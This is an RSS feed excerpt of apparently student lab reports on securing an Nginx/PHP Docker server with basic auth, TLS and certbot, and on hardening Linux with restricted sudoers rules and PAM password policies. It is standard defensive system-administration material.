</span></span><span style="display:flex;"><span>		<span style="color:#f92672">include</span> <span style="color:#e6db74">snippets/fastcgi-php.conf</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#f92672">fastcgi_pass</span> <span style="color:#e6db74">unix:/run/php/php8.3-fpm.sock</span>;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">...</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">}</span>
</span></span></code></pre></div><p>Additionally, the <code>php-fpm</code> service has to be started, so the default command of the container is edited.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#66d9ef">CMD</span> service ssh start <span style="color:#f92672">&amp;&amp;</span> service nginx start <span style="color:#f92672">&amp;&amp;</span> service php8.3-fpm start <span style="color:#f92672">&amp;&amp;</span> tail -F /dev/null<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>If we now rebuild the container, deploy it, and go to the IP address of the server in the browser, we can see the PHP page displayed.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex6/images/indexphp.png"/> <figcaption>
            Figure 7: Viewing the index of the website
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex6/images/privatphp.png"/> <figcaption>
            Figure 8: Viewing the private part of the website
        </figcaption>
</figure>
</p>
<hr>
<h3 id="securing-nginx-with-basic-authentication">Securing Nginx with Basic Authentication</h3>
<p>To restrict access to the website or certain parts of it by implementing username/password authentication, a file containing usernames and passwords is required. This file can be generated using tools such as <code>apache2-utils</code>, which I will use for this exercise.<cite>nginx-basic-auth<sup id="fnref1:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></cite></p>
<h4 id="creating-a-password-file">Creating a Password File</h4>
<p>With <code>apache2-utils</code> installed, we can now generate a password file by using the <code>htpasswd</code> command with the <code>-c</code> flag to create a new file. The file path is specified as the first argument, and the username is specified as the second argument. However, to avoid having to manually type in the password, the <code>-i</code> flag is used to take the password from <code>stdin</code>, which we pass using <code>echo</code>, while using the <code>-n</code> flag to remove the trailing newline.<cite>htpasswd<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup></cite><cite>echo-mangapge<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></cite></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>RUN echo -n <span style="color:#e6db74">&#34;</span>$RAM_WEBUSER_PW<span style="color:#e6db74">&#34;</span> | htpasswd -i -c /etc/apache2/.htpasswd ram-webuser
</span></span><span style="display:flex;"><span>RUN echo -n <span style="color:#e6db74">&#34;</span>$ZIVK_WEBUSER_PW<span style="color:#e6db74">&#34;</span> | htpasswd -i /etc/apache2/.htpasswd zivk-webuser
</span></span></code></pre></div><h4 id="configuring-the-authentication-in-nginx-and-testing-it">Configuring the authentication in Nginx and testing it</h4>
<p>To require authentication for a specific area on the website, we need to create a location block that matches everything in the <code>/private</code> directory. To do this, Nginx URL matching is used.<cite>Nginx-url-matching<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup></cite></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">location</span> <span style="color:#e6db74">^~</span> <span style="color:#e6db74">/private</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">include</span> <span style="color:#e6db74">snippets/fastcgi-php.conf</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">fastcgi_pass</span> <span style="color:#e6db74">unix:/run/php/php8.3-fpm.sock</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">auth_basic</span> <span style="color:#e6db74">&#34;Private</span> <span style="color:#e6db74">Area&#34;</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">auth_basic_user_file</span> <span style="color:#e6db74">/etc/apache2/.htpasswd</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>To visualize testing the login, I added this to the private PHP page to show the currently logged-in user:<br>
<code>&lt;h3&gt;Hello &lt;?php echo $_SERVER['PHP_AUTH_USER']; ?&gt;&lt;/h3&gt;</code>.<cite>php-show-basic-auth<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup></cite></p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex6/images/siginprompt.png"/> <figcaption>
            Figure 9: Showing the sign-in prompt
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex6/images/noauth.png"/> <figcaption>
            Figure 10: Failed authentication
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex6/images/zivk_webuser.png"/> <figcaption>
            Figure 11: Logged in as zivk-webuser
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex6/images/ram_webuser.png"/> <figcaption>
            Figure 12: Logged in as ram-webuser
        </figcaption>
</figure>
</p>
<p>This is still only an HTTP site, though, which means that everything is transmitted in plain text. As a result, with a packet analyzer like Wireshark, the clear-text login credentials can be viewed. To fix this, HTTPS needs to be enabled, which will be covered in the next section.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex6/images/zivk_snifa.png"/> <figcaption>
            Figure 13: Reading the plaintext credentials of zivk-webuser
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex6/images/ram_snifa.png"/> <figcaption>
            Figure 14: Reading the plaintext credentials of ram-webuser
        </figcaption>
</figure>
</p>
<hr>
<h3 id="configuring-https-with-self-signed-certificates">Configuring HTTPS with Self-Signed Certificates</h3>
<p>To stop an attacker from being able to read the credentials, HTTPS needs to be enabled on the server to encrypt the HTTP traffic with TLS (Transport Layer Security). Before this can be set up, an SSL certificate must first be created.<cite>self-signed-ssl<sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup></cite><cite>non-interactive-ssl-gen<sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup></cite></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>RUN openssl req -x509 -nodes -days <span style="color:#ae81ff">365</span> -newkey rsa:2048 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    -keyout /etc/ssl/private/nginx-selfsigned.key <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    -out /etc/ssl/certs/nginx-selfsigned.crt <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    -subj <span style="color:#e6db74">&#34;/C=AT/ST=Vienna/L=Vienna/O=RAM/OU=7/CN=metyr.xyz/emailAddress=wedm1ebmf@mozmail.com&#34;</span>
</span></span></code></pre></div><p>Now, in the Nginx configuration file, we need to make the server listen on port 443 and add the SSL certificate and key.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">server{</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">...</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">listen</span> <span style="color:#ae81ff">443</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">listen</span> <span style="color:#e6db74">[::]:443</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">ssl_certificate</span> <span style="color:#e6db74">/etc/ssl/certs/nginx-selfsigned.crt</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">ssl_certificate_key</span> <span style="color:#e6db74">/etc/ssl/private/nginx-selfsigned.key</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">...</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">}</span>
</span></span></code></pre></div><p>After setting up HTTPS, it&rsquo;s recommended to set up a 301 HTTP redirect to direct HTTP traffic to the HTTPS site. This is done by adding a second server block at the end of the nginx config file.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">listen</span> <span style="color:#ae81ff">80</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:80</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">server_name</span> <span style="color:#e6db74">_</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">https://</span>$server_name$request_uri;	
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>If we reload the Nginx configuration, our browser is going to give us a security warning since it recognizes that the certificate was not signed by a trusted organization but by ourselves.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex6/images/unseccert.png"/> <figcaption>
            Figure 15: Browser warning for untrusted certificate
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex6/images/selfcert.png"/> <figcaption>
            Figure 16: Viewing the self-signed certificate
        </figcaption>
</figure>
</p>
<p>If we open up Wireshark and inspect our traffic, we can see that we can&rsquo;t view any HTTP traffic. Instead, we only see TLS packets, which contain the encrypted HTTP data, and therefore the credentials can&rsquo;t be viewed anymore.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex6/images/nohaxxor.png"/> <figcaption>
            Figure 17: Not being able to see the credentials anymore
        </figcaption>
</figure>

<hr>
<h3 id="adding-a-domain">Adding a Domain</h3>
<p>Since I am doing this on a public VPS, I can&rsquo;t use a local DNS and need to use a real domain instead. I bought <code>metyr.xyz</code> from <a href="https://www.namecheap.com/">Namecheap</a>.</p>
<p>To make Nginx use the domain name, you have to set the <code>server_name</code> in the configuration from <code>server_name _;</code> to <code>server_name metyr.xyz www.metyr.xyz;</code>.</p>
<p>Now we need to create a DNS record for our domain.</p>
<p>This record needs to be of the <code>A</code> type, which returns a 32-bit IPv4 address and is commonly used to map hostnames to an IP address.<cite>dns-record-types<sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup></cite> The <code>@</code> in the Host field is used to denote the current origin, which represents the current domain. In this case, it would be <code>metyr.xyz</code>.<cite>rfc<sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup></cite></p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex6/images/dnsentry.png"/> <figcaption>
            Figure 18: Setting up the DNS record
        </figcaption>
</figure>

<p>Lastly, I want to switch from using a self-signed certificate to using an officially signed one by Let&rsquo;s Encrypt. For this, the <code>certbot</code> and <code>python3-certbot-nginx</code> packages need to be added to our system.</p>
<p>Now we can run this command to generate an SSL certificate, which will be signed by Let&rsquo;s Encrypt, so the browser won&rsquo;t give us a security warning anymore.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>certbot --nginx -d metyr.xyz --non-interactive --agree-tos -m wedm1ebmf@mozmail.com
</span></span></code></pre></div><p><cite>certbot-options<sup id="fnref:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup></cite></p>
<p>After running this command for the first time and replying if you haven&rsquo;t saved the certificate, you can use the <code>--force-renewal</code> flag to forcefully renew the certificate in case you lost it or don&rsquo;t want to set up importing it on a rebuild.<cite>cerbot-force-newnew<sup id="fnref:13"><a href="#fn:13" class="footnote-ref" role="doc-noteref">13</a></sup></cite></p>
<p>If we visit the website now, we can see that we won&rsquo;t be prompted with a security warning. If we inspect the certificate, it will show that it was issued by Let&rsquo;s Encrypt and is trusted.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex6/images/nobs.png"/> <figcaption>
            Figure 19: Showing the trusted certificate signed by Let&#39;s Encrypt
        </figcaption>
</figure>

<hr>
<h2 id="references">References</h2>
<p><em>For a full bibliography, see the <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex6/quellen.bib">original BibTeX file</a>.</em></p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>This task definition was summarized by ChatGPT using the prompt: &ldquo;Summarize this task definition in English and LaTeX and make it short and abstract.&rdquo;&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>Docker Documentation. Docker Compose. <a href="https://docs.docker.com/compose">source</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>Vsupalov. Docker ARG, ENV and .env - a Complete Guide. <a href="https://vsupalov.com/docker-arg-env-variable-guide">source</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>Apache HTTP Server. htpasswd - Manage user files for basic authentication. <a href="https://httpd.apache.org/docs/current/programs/htpasswd.html">source</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>man7.org. echo(1) - Linux manual page. <a href="https://man7.org/linux/man-pages/man1/echo.1.html">source</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p>Sling Academy. NGINX location blocks: Understanding and Utilizing URL Matching. <a href="https://www.slingacademy.com/article/nginx-location-block-the-complete-guide">source</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p>Stack Overflow. Getting basic-auth username in php. <a href="https://stackoverflow.com/questions/316847/getting-basic-auth-username-in-php">source</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p>DigitalOcean. How To Create a Self-Signed SSL Certificate for Nginx in Ubuntu 20.04. <a href="https://www.digitalocean.com/community/tutorials/how-to-create-a-self-signed-ssl-certificate-for-nginx-in-ubuntu-20-04-1">source</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p>ShellHacks. HowTo: Create CSR using OpenSSL Without Prompt (Non-Interactive). <a href="https://www.shellhacks.com/create-csr-openssl-without-prompt-non-interactive">source</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p>Wikipedia. List of DNS record types. <a href="https://en.wikipedia.org/w/index.php?title=List_of_DNS_record_types&amp;oldid=1260647885">source</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
<p>IETF Datatracker. RFC 1035: Domain names - implementation and specification. <a href="https://datatracker.ietf.org/doc/html/rfc1035#page-35">source</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:12">
<p>Certbot. certbot — Certbot 3.1.0.dev0 documentation. <a href="https://eff-certbot.readthedocs.io/en/latest/man/certbot.html">source</a>&#160;<a href="#fnref:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:13">
<p>nixCraft. How to forcefully renew Let&rsquo;s Encrypt certificate on Linux or Unix. <a href="https://www.cyberciti.biz/faq/how-to-forcefully-renew-lets-encrypt-certificate">source</a>&#160;<a href="#fnref:13" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>GNU/Linux - Securing access</title><link>https://0xveya.github.io/posts/itsi/year-3/exercise-5/securing-access/</link><pubDate>Sun, 01 Dec 2024 00:00:00 +0100</pubDate><guid>https://0xveya.github.io/posts/itsi/year-3/exercise-5/securing-access/</guid><description>&lt;blockquote>
&lt;p>Note: this was converted from PDF to Markdown using pdftotext and manual formatting. The original PDF can be found &lt;a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex5/Securing%20access.pdf">here&lt;/a> along with the &lt;a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex5/quellen.bib">bibliography&lt;/a>.&lt;/p>&lt;/blockquote>
&lt;hr>
&lt;h1 id="gnulinux---securing-access">GNU/Linux - Securing access&lt;/h1>
&lt;p>&lt;strong>Laboratory Protocol&lt;/strong>&lt;br>
GNU/Linux - Securing access&lt;br>
&lt;figure>
&lt;img loading="lazy" src="https://0xveya.github.io/itsi/y3/ex5/images/mika.jpeg"/> &lt;figcaption>
Figure: Grouplogo
&lt;/figcaption>
&lt;/figure>
&lt;strong>Subject:&lt;/strong> ITSI|ZIVK&lt;br>
&lt;strong>Class:&lt;/strong> 3AHITN&lt;br>
&lt;strong>Name:&lt;/strong> Stefan Fürst, Marcel Raichle&lt;br>
&lt;strong>Group Name/Number:&lt;/strong> Dumm und Dümmer/7&lt;br>
&lt;strong>Supervisor:&lt;/strong> ZIVK&lt;br>
&lt;strong>Exercise dates:&lt;/strong> 22.11.2024, 26.11.2024, 29.11.2024&lt;br>
&lt;strong>Submission date:&lt;/strong> 1.12.2024&lt;/p>
&lt;hr>
&lt;h2 id="table-of-contents">Table of Contents&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#task-definition">Task Definition&lt;/a>&lt;/li>
&lt;li>&lt;a href="#summary">Summary&lt;/a>&lt;/li>
&lt;li>&lt;a href="#exercise-execution">Exercise Execution&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#privileged-rights">Privileged rights&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#explanation-of-the-sudo-command">Explanation of the sudo command&lt;/a>&lt;/li>
&lt;li>&lt;a href="#granting-and-restricting-users-sudo-access">Granting and restricting users&amp;rsquo; sudo access&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#password-policies">Password policies&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#setting-up-a-password-policy">Setting up a password policy&lt;/a>&lt;/li>
&lt;li>&lt;a href="#sed-basics">sed Basics&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#harden-ssh">Harden SSH&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#changing-the-ssh-port">Changing the ssh port&lt;/a>&lt;/li>
&lt;li>&lt;a href="#adding-otp-authentication">Adding OTP authentication&lt;/a>&lt;/li>
&lt;li>&lt;a href="#logging-in-as-the-users">Logging in as the users&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#references">References&lt;/a>&lt;/li>
&lt;li>&lt;a href="#list-of-figures">List of Figures&lt;/a>&lt;/li>
&lt;li>&lt;a href="#attachments">Attachments&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="task-definition">Task Definition&lt;/h2>
&lt;p>This exercise focuses on enhancing security and user management in GNU/Linux. Participants configure SSH authentication using public keys, manage user privileges with sudo (e.g., granting specific permissions to edit files or create users), and set up password policies requiring strong, unique passwords. Additional tasks include changing the SSH port to secure the system, identifying open ports, and implementing two-factor authentication with Google Authenticator. Each step is documented and tested to ensure proper configuration and security.&lt;/p></description><content:encoded><![CDATA[<blockquote>
<p>Note: this was converted from PDF to Markdown using pdftotext and manual formatting. The original PDF can be found <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex5/Securing%20access.pdf">here</a> along with the <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex5/quellen.bib">bibliography</a>.</p></blockquote>
<hr>
<h1 id="gnulinux---securing-access">GNU/Linux - Securing access</h1>
<p><strong>Laboratory Protocol</strong><br>
GNU/Linux - Securing access<br>
<figure>
    <img loading="lazy" src="/itsi/y3/ex5/images/mika.jpeg"/> <figcaption>
            Figure: Grouplogo
        </figcaption>
</figure>

<strong>Subject:</strong> ITSI|ZIVK<br>
<strong>Class:</strong> 3AHITN<br>
<strong>Name:</strong> Stefan Fürst, Marcel Raichle<br>
<strong>Group Name/Number:</strong> Dumm und Dümmer/7<br>
<strong>Supervisor:</strong> ZIVK<br>
<strong>Exercise dates:</strong> 22.11.2024, 26.11.2024, 29.11.2024<br>
<strong>Submission date:</strong> 1.12.2024</p>
<hr>
<h2 id="table-of-contents">Table of Contents</h2>
<ul>
<li><a href="#task-definition">Task Definition</a></li>
<li><a href="#summary">Summary</a></li>
<li><a href="#exercise-execution">Exercise Execution</a>
<ul>
<li><a href="#privileged-rights">Privileged rights</a>
<ul>
<li><a href="#explanation-of-the-sudo-command">Explanation of the sudo command</a></li>
<li><a href="#granting-and-restricting-users-sudo-access">Granting and restricting users&rsquo; sudo access</a></li>
</ul>
</li>
<li><a href="#password-policies">Password policies</a>
<ul>
<li><a href="#setting-up-a-password-policy">Setting up a password policy</a></li>
<li><a href="#sed-basics">sed Basics</a></li>
</ul>
</li>
<li><a href="#harden-ssh">Harden SSH</a>
<ul>
<li><a href="#changing-the-ssh-port">Changing the ssh port</a></li>
<li><a href="#adding-otp-authentication">Adding OTP authentication</a></li>
<li><a href="#logging-in-as-the-users">Logging in as the users</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="#references">References</a></li>
<li><a href="#list-of-figures">List of Figures</a></li>
<li><a href="#attachments">Attachments</a></li>
</ul>
<hr>
<h2 id="task-definition">Task Definition</h2>
<p>This exercise focuses on enhancing security and user management in GNU/Linux. Participants configure SSH authentication using public keys, manage user privileges with sudo (e.g., granting specific permissions to edit files or create users), and set up password policies requiring strong, unique passwords. Additional tasks include changing the SSH port to secure the system, identifying open ports, and implementing two-factor authentication with Google Authenticator. Each step is documented and tested to ensure proper configuration and security.</p>
<hr>
<h2 id="summary">Summary</h2>
<p>To complete this task, the docker image from the last exercise was extended to include sudo and managing its permissions, setting up a password policy and hardening SSH by changing the port and forcing private key and OTP authentication.</p>
<hr>
<h2 id="exercise-execution">Exercise Execution</h2>
<h3 id="privileged-rights">Privileged rights</h3>
<h4 id="explanation-of-the-sudo-command">Explanation of the sudo command</h4>
<p>The sudo command or <strong>S</strong>uper<strong>U</strong>ser <strong>DO</strong> temporarily elevates privileges and runs the set command as root, which can be seen by running the <code>sudo id</code> command <sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex5/images/sudoid.png"/> <figcaption>
            Figure: sudo id
        </figcaption>
</figure>

<p>As seen in the figure, when the <code>id</code> command is used with <code>sudo</code>, the id displayed is 0, which is the user id of the root user, and without sudo it displays the normal user id of the user who executed the command.</p>
<h4 id="granting-and-restricting-users-sudo-access">Granting and restricting users&rsquo; sudo access</h4>
<p>To grant someone permission to run any command with <code>sudo</code>, the <code>usermod -aG sudo username</code> command is used, which appends the given to the sudo group, giving them permission to run any command with sudo.</p>
<p>In order to restrict the commands that can be elevated by a user or to configure other settings related to this, it is necessary to edit the configuration file, which is located at <code>/etc/sudoers</code>.</p>
<p>There are several ways to edit it. The <code>visudo</code> command uses the editor set in the <code>$EDITOR</code> environment variable and opens the sudoers file with it, and when you exit the editor and save it, it also checks for errors before applying the changes. The sudoers file can also be directly edited using <code>echo</code> in the dockerfile.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># only allowing ram-alois to edit the ssh configuration file</span>
</span></span><span style="display:flex;"><span>RUN echo <span style="color:#e6db74">&#34;ram-alois ALL=(root) /bin/nano /etc/ssh/sshd_config&#34;</span> &gt;&gt; /etc/sudoers
</span></span><span style="display:flex;"><span><span style="color:#75715e"># only allowing ram-berta to add users</span>
</span></span><span style="display:flex;"><span>RUN echo <span style="color:#e6db74">&#34;ram-berta ALL=(root) /sbin/useradd&#34;</span> &gt;&gt; /etc/sudoers
</span></span><span style="display:flex;"><span><span style="color:#75715e"># only allowing to ram-ram to view and read add files</span>
</span></span><span style="display:flex;"><span>RUN echo <span style="color:#e6db74">&#34;ram-ram ALL=(root) /bin/ls&#34;</span> &gt;&gt; /etc/sudoers
</span></span><span style="display:flex;"><span>RUN echo <span style="color:#e6db74">&#34;ram-ram ALL=(root) /bin/cat&#34;</span> &gt;&gt; /etc/sudoers
</span></span></code></pre></div><p>I chose nano over vim for editing the ssh config file, as running vim as sudo effectively gives the user full sudo access, as it is possible to open a terminal in it and escape the normal editor mode in numerous ways, so its just easier to give the user nano.</p>
<p>The following screenshots show the following privileges in action, but ram-chris and ram-fus are excluded as ram-chris has no sudo privileges and ram-fus can run any command elevated.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex5/images/ram-ram-sudo.png"/> <figcaption>
            Figure: sudo permissions of ram-ram
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex5/images/sudo-berta.png"/> <figcaption>
            Figure: sudo permissions of ram-berta
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex5/images/sudo%20id.png"/> <figcaption>
            Figure: sudo id command showing user permissions
        </figcaption>
</figure>
</p>
<h3 id="password-policies">Password policies</h3>
<h4 id="setting-up-a-password-policy">Setting up a password policy</h4>
<p>To set password policies on Debian-based distributions, edit <code>/etc/pam.d/common-password</code>. Pam stands for Pluggable Authentication Modules and is installed by default on every Debian-based distribution <sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> <sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>.</p>
<p>To set a required complexity for passwords, the <code>libpam-pwquality</code> package needs to be installed. Then in the <code>/etc/pam.d/common-password</code> file, on the line with <code>pam_pwquality.so</code> <code>dcredit=-1</code>, <code>ocredit=-1</code> and <code>enforce_for_root</code> need to be added at the end to require at least one lowercase letter and one symbol in any password set and to enforce it for the root user.</p>
<p>Preventing password reuse is achieved by adding a line with the <code>pam_pwhistory.so</code> module and appending <code>remember=5</code> and <code>use_authtok</code> at the end of the line to remember the last 5 passwords so that they cannot be reused and to enforce the previously stacked password modules <sup id="fnref1:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>. Finally, set the minimum length of the line with <code>pam_unix.so</code>. <code>minlen=10</code> to require the password to be at least 10 characters long.</p>
<p>To edit this file declaratively in the Dockerfile I used the <code>sed</code> editor and the sed commands used are explained in the next section.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># setting the required password complexity and minimum length</span>
</span></span><span style="display:flex;"><span>RUN sed -i <span style="color:#e6db74">&#39;/retry=3/ s/$/ ucredit=-1 dcredit=-1 ocredit=-1 minlen=10 enforce_for_root &#39;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>            /etc/pam.d/common-password
</span></span><span style="display:flex;"><span><span style="color:#75715e"># remembering the last 5 passwords so they cant be reused</span>
</span></span><span style="display:flex;"><span>RUN sed -i <span style="color:#e6db74">&#39;/ocredit=-1/ a password\trequisite\t\t\tpam_pwhistory.so remember=5 use_authtok &#39;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>            /etc/pam.d/common-password
</span></span></code></pre></div><figure>
    <img loading="lazy" src="/itsi/y3/ex5/images/passwdpolcie.png"/> <figcaption>
            Figure: Testing the password policies
        </figcaption>
</figure>

<h4 id="sed-basics">sed Basics</h4>
<p>The sed (stream editor) is a utility for manipulating text in files. It can perform actions such as search, replace, insert, delete and more without the need to open an editor, making it useful in scripts.</p>
<p>The syntax of using the command is the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sed <span style="color:#f92672">[</span>OPTIONS<span style="color:#f92672">]</span> <span style="color:#e6db74">&#39;SCRIPT&#39;</span> <span style="color:#f92672">[</span>INPUTFILE<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>The only relevant option for this command I used was the <code>-i</code> flag, which edits the file in place without printing anything to the console <sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> <sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup>.</p>
<p>To actually make sed do something it is necessary to specify a command, there are many commands, but for this exercise only the commands <code>s</code> and <code>a</code> are needed, which stand for substitute and append respectively.</p>
<p>Let&rsquo;s break down the commands used:</p>
